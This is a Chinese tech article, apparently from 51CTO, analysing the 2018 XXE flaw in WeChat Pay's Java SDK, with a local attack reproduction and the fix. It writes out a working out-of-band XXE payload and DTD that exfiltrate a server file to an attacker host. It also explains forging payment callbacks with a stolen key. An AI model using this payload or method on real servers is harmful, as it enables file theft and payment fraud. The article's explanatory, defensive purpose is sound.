微信是最流行的 App 之一，特别是随着“二维码付款”成为潮流，越来越多的小伙伴早已习惯不带现金出门。
如果有人告诉你，现在不用你花一分钱，就能用[微信支付]买买买，这种天上掉馅饼的事，你会相信吗?
7 月 1 日，在老牌漏洞披露平台 Full Disclosure 出现了一封写给微信支付的公开信。
发件人是 Rose Jackcode，信的标题是《微信支付官方SDK的XXE安全漏洞(微信支付在商户页面遗留了一个后门)》。
▲发表在漏洞披露平台 Full Disclosure 上的公开信
发件人 Rose Jackcode 在信中称，他在微信支付官方 SDK(软件工具开发包)发现了一个安全漏洞，此漏洞可导致商家服务器被入侵，一旦攻击者获得商家的关键安全密钥，就可以通过发送伪造信息来欺骗商家而无需付费购买任何东西。
王牌对王牌
换句话说，黑客利用微信支付的这个漏洞，能实现 0 元无限买买买。
这并不是说说而已，这位网友还直接甩出了两张图，展示出漏洞利用的过程，中招者是 VIVO 和陌陌。
▲陌陌、VIVO 的微信支付漏洞利用过程
看不懂没关系，为了方便小伙伴理解，他们举了个小例子：
这个过程叫“商户回调接口”，而这个漏洞可以让微信支付产生“人家付款成功了”的错觉，从而让黑客实现 0 元购。
随后，微信支付技术安全团队已关注问题并及时排查，并进行更新，修复了已知的安全漏洞。
虽然微信支付安全漏洞已经被修复，但大家关注的热度依旧高涨。查看百度热搜指数发现，微信支付被爆漏洞这一话题依旧高居榜首。
一定不少小伙伴要吐槽了：“怎么又是修复好了才告诉我？有没有感觉错过了几百万哈....
大多数人可能并不关注怎么修复安全漏洞，而是较为关心对个体产生的影响。下面我们从技术人的角度谈谈这次微信支付曝出的漏洞。
技术角度解读微信支付曝出的漏洞
对于昨天（2018-07-04）微信支付的 SDK 曝出重大漏洞（XXE 漏洞），通过该漏洞，攻击者可以获取服务器中目录结构、文件内容，如代码、各种私钥等。
获取这些信息以后，攻击者便可以为所欲为，其中就包括众多媒体所宣传的“0 元也能买买买”。
漏洞报告地址：http://seclists.org/fulldisclosure/2018/Jul/3
漏洞原理
XXE 漏洞
此次曝出的漏洞属于 XXE 漏洞，即 XML 外部实体注入（XML External Entity Injection）。
XML 文档除了可以包含声明和元素以外，还可以包含文档类型定义（即 DTD）；如下图所示：
在 DTD 中，可以引进实体，在解析 XML 时，实体将会被替换成相应的引用内容。
该实体可以由外部引入(支持 http、ftp 等协议，后文以 http 为例说明)，如果通过该外部实体进行攻击，就是 XXE 攻击。
可以说，XXE 漏洞之所以能够存在，本质上在于在解析 XML 的时候，可以与外部进行通信；当 XML 文档可以由攻击者任意构造时，攻击便成为可能。
在利用 XXE 漏洞可以做的事情当中，最常见最容易实现的，便是读取服务器的信息，包括目录结构、文件内容等；本次微信支付爆出的漏洞便属于这一种。
微信支付漏洞
本次漏洞影响的范围是：在微信支付异步回调接口中，使用微信支付 SDK 进行 XML 解析的应用。
注意这里的 SDK 是服务器端的 SDK，App 端使用 SDK 并不受影响。
SDK 下载地址如下（目前微信官方宣传漏洞已修复）：https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
SDK 中导致漏洞的代码是 WXPayUtil 工具类中的 xmlToMap() 方法：
如上图所示，由于在解析 XML 时没有对外部实体的访问做任何限制，如果攻击者恶意构造 XML 请求，便可以对服务器进行攻击。下面通过实例介绍攻击的方法。
攻击复现
下面在本机环境下进行复现。
假设本地的 Web 服务器 127.0.0.1:8080 中存在 POST 接口：/wxpay/callback，该接口中接收 XML 字符串做参数，并调用前述的 WXPayUtil.xmlToMap(strXml) 对 XML 参数进行解析。
此外，/etc/password 中存储了重要的密码数据（如 password1234）。
攻击时构造的请求如下：
其中 XML 内容如下：
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY % file SYSTEM "file:///etc/password">
- <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
- %xxe;
- ]>
其中 /etc/password 为要窃取的对象，http://127.0.0.1:9000/xxe.dtd 为攻击者服务器中的 dtd 文件，内容如下：
- <!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>">
- %shell;
- %upload;
通过 xml+dtd 文件，攻击者便可以在服务器 http://127.0.0.1:9000 中会收到如下请求：http://127.0.0.1:9000/evil/password1234。
这样，攻击者便得到了 /etc/password 文件的内容。
在本例中，攻击者窃取了 /etc/password 文件中的内容，实际上攻击者还可以获取服务器中的目录结构以及其他文件，只要启动 Web 应用的用户具有相应的读权限。
如果获取的信息比较复杂，如包含特殊符号，无法直接通过 http 的 URL 发送，则可以采用对文件内容进行 Base64 编码等方法解决。
漏洞的解决
解决该漏洞的原理非常简单，只要禁止解析 XML 时访问外部实体即可。
漏洞曝出以后，微信进行了紧急修复，一方面是更新了 SDK，并提醒开发者使用最新的 SDK。
SDK 中修复代码如下：
加入了如下两行代码：
- documentBuilderFactory.setExpandEntityReferences(false);
- documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
此外，微信官方也给出了关于 XXE 漏洞的最佳安全实践，可以参考：
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
笔者本人使用上述方案中建议的如下代码修复了该漏洞：
- DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
- documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
- ……
扩展与反思
危害不只是“0 元也能买买买”
在很多媒体的报道中，强调该漏洞的风险在于攻击者可以不支付也可以获得商品。
攻击者在通过上述漏洞获得微信支付的秘钥以后，有不止一种途径可以做到不支付就获得商品。
例如，攻击者首先在系统中下单，获得商户订单号；然后便可以调用微信支付的异步回调。
其中的签名参数便可以使用前面获取的秘钥对订单号等信息进行 MD5 获得；这样攻击者的异步回调就可以通过应用服务器的签名认证，从而获得商品。
不过，在很多有一定规模的购物网站（或其他有支付功能的网站），会有对账系统，如定时将系统中的订单状态与微信、支付宝的后台对比。
如果出现不一致可以及时报警并处理，因此该漏洞在这方面的影响可能并没有想象的那么大。
然而，除了“0 元也能买买买”，攻击者可以做的事情还有很多很多；理论上来说，攻击者可能获得应用服务器上的目录结构、代码、数据、配置文件等，可以根据需要进行进一步破坏。
漏洞不限于微信支付 SDK
虽然微信支付曝出该漏洞受到了广泛关注，但该漏洞绝不仅仅存在于微信支付中。
由于众多 XML 解析器默认不会禁用对外部实体的访问，因此应用的接口如果有以下几个特点就很容易掉进 XXE 漏洞的坑里：
- 接口使用 XML 做请求参数。
- 接口对外公开，或容易获得：例如一些接口提供给外部客户调用，或者接口使用 http 很容易抓包，或者接口比较容易猜到(如微信支付的异步回调接口)。
- 接口中解析 XML 参数时，没有禁用对外部实体的访问，建议大家最好检查一下自己的应用中是否有类似的漏洞，及时修复。
XML 与 JSON
XML 与 JSON 是系统间交互常用的两种数据格式，虽然很多情况下二者可以互换，但是笔者认为，JSON 作为更加轻量级更加纯粹的数据格式，更适合于系统间的交互。
而 XML，作为更加重量级更加复杂的数据格式，其 DTD 支持自定义文档类型，在更加复杂的配置场景下有着更好的效果，典型的场景如 Spring 相关的配置。
题外话：微信支付的签名认证
在前面曾经提到，应用中存储的秘钥一旦泄露，攻击者便可以完全绕过签名认证，这是因为微信支付使用的是对称式的签名认证。
微信方和应用方，使用相同的秘钥对相同的明文进行 MD5 签名，只要应用方的秘钥泄露，签名认证就完全成了摆设。
在这方面支付宝的做法更规范也更安全：支付宝为应用生成公私钥对，公钥由应用方保存，私钥由支付宝保存；在回调时，支付宝使用私钥进行签名，应用方使用公钥进行验证。
这样只要支付宝保存的私钥不泄露，攻击者只有公钥则难以通过签名认证。
参考文献：
- https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
- http://seclists.org/fulldisclosure/2018/Jul/3
- https://www.cnblogs.com/tongwen/p/5194483.html
关于此次微信出现的支付漏洞你怎么看？扫描下方二维码，关注51CTO技术栈公众号。欢迎在技术栈微信公众号留言探讨。
